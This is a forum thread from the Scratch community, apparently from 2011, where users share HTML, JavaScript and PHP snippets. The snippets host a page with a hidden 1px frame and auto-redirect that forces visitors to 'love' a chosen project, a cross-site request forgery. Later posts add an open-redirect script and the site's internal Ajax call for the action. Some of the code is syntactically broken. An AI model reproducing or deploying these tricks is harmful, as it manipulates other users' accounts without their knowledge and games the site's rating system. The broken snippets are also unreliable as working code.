This requires some HTML 4, and JS.
You need to host this code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
function func()
{
window.location = "http://scratch.mit.edu/projects/scimonster/1967368";
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/1967368/loveit" width="1px" height="1px" border="0" />
</body>
</html>Then, link to the page.
If someone could work out how to use variables in the URL for the user and ID, that would be nice.
Offline
scimonster wrote:
This requires some HTML 4, and JS.
You need to host this code:Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> <html> <head> <script type="text/javascript"> setTimeout("func()", 1); function func() { window.location = "http://scratch.mit.edu/projects/scimonster/1967368"; } </script> </head> <body> <frame src="http://scratch.mit.edu/projects/scimonster/1967368/loveit" width="1px" height="1px" border="0" /> </body> </html>Then, link to the page.
If someone could work out how to use variables in the URL for the user and ID, that would be nice.![]()
What do you mean for user and ID? And yeah, I used that URL once on one of my projects
Offline
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
var user = "Hardmath123";
var proj = "1967368";
function func()
{
window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj;
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" />
</body>
</html>Offline
so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?
Offline
Hardmath123 wrote:
Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> <html> <head> <script type="text/javascript"> setTimeout("func()", 1); var user = "Hardmath123"; var proj = "1967368"; function func() { window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj; } </script> </head> <body> <frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" /> </body> </html>
No, what I meant is like loveit.htm?user=scimonster&proj=1967368
Offline
nathanprocks wrote:
so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?
Yes.
Offline
scimonster wrote:
nathanprocks wrote:
so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?
Yes.
![]()
awesome!!!
Offline
Oh, you know you can do an automatic AJAX request on your site too
It works better because it doesn't show the blank page.
Offline
LS97 wrote:
Oh, you know you can do an automatic AJAX request on your site too
![]()
It works better because it doesn't show the blank page.
No, I haven't learned AJAX yet. ;P
Offline
click here if you support my cmd prompt this should be itopiced!
Offline
flashgocrazy wrote:
click here if you support my cmd prompt this should be itopiced!
Thanks!
How about suggesting this to be stickied?
Offline
roijac wrote:
btw-the code doesn't work, it has to be opened near the mouse...
same here
Offline
scimonster wrote:
Hardmath123 wrote:
Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> <html> <head> <script type="text/javascript"> setTimeout("func()", 1); var user = "Hardmath123"; var proj = "1967368"; function func() { window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj; } </script> </head> <body> <frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" /> </body> </html>No, what I meant is like loveit.htm?user=scimonster&proj=1967368
<?php
//makes sure there is all the info needed
if(isset($_GET['user'])&&isset($_GET['redirecturl'])&&isset($_GET['projectid'])){
/******************************************************
*********************CODE TO EXECUTE HERE WHEN PAGE IS LOADED*********************
*******************************************************
//start redirect with the GET request
//assumes that the get info for the redirecturl is ( example )scratch.mit.edu not http://scratch.mit.edu
header('Location: http://'.$_GET['redirecturl']);
}
?>made by gp1, I need it to be uploaded someplace
Offline
I think Scratchers have been banned for putting a link like that in their signature.
Offline
Not trying to get anyone banned (and I don't plan on doing this myself) but to force someone to love your project, force them to invoke this javascript code on the page:
if (checkLoading()) {
new Ajax.Updater('loveitDiv', '/projects/YourNameHere/YourNumberHere/loveit', {
asynchronous: true,
evalScripts: true,
onComplete: function (request, json) {
changeLoversCount(true);
},
requestHeaders: ['X-Update', 'loveitDiv']
});
}A way to do this would be to make a page and have an iframe containing the project page, and then invoke that code in the iframe. I tried this for a few minutes, but couldn't figure out how.
EDIT: I did not write that code, I found it buried in every project page on Scratch.
Last edited by Sidharth (2011-08-22 23:03:26)

Offline
I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.
Offline
rubiks_cube_guy238 wrote:
I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.
Do you not want it to be fixed? I doubt the Scratch team would fix it unless its ridiculously easy to do.
And, I don't want to go around loving random people's projects that I haven't even seen because of your method or whoever's at the cost of not being to be able to create one to force people to love mine.

Offline
Sidharth wrote:
rubiks_cube_guy238 wrote:
I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.
Do you not want it to be fixed? I doubt the Scratch team would fix it unless its ridiculously easy to do.
And, I don't want to go around loving random people's projects that I haven't even seen because of your method or whoever's at the cost of not being to be able to create one to force people to love mine.
As I said, I'm not using it, and I want to keep it to myself >:D
roijac wrote:
Shouldn't we better delete this topic?
I agree.
Offline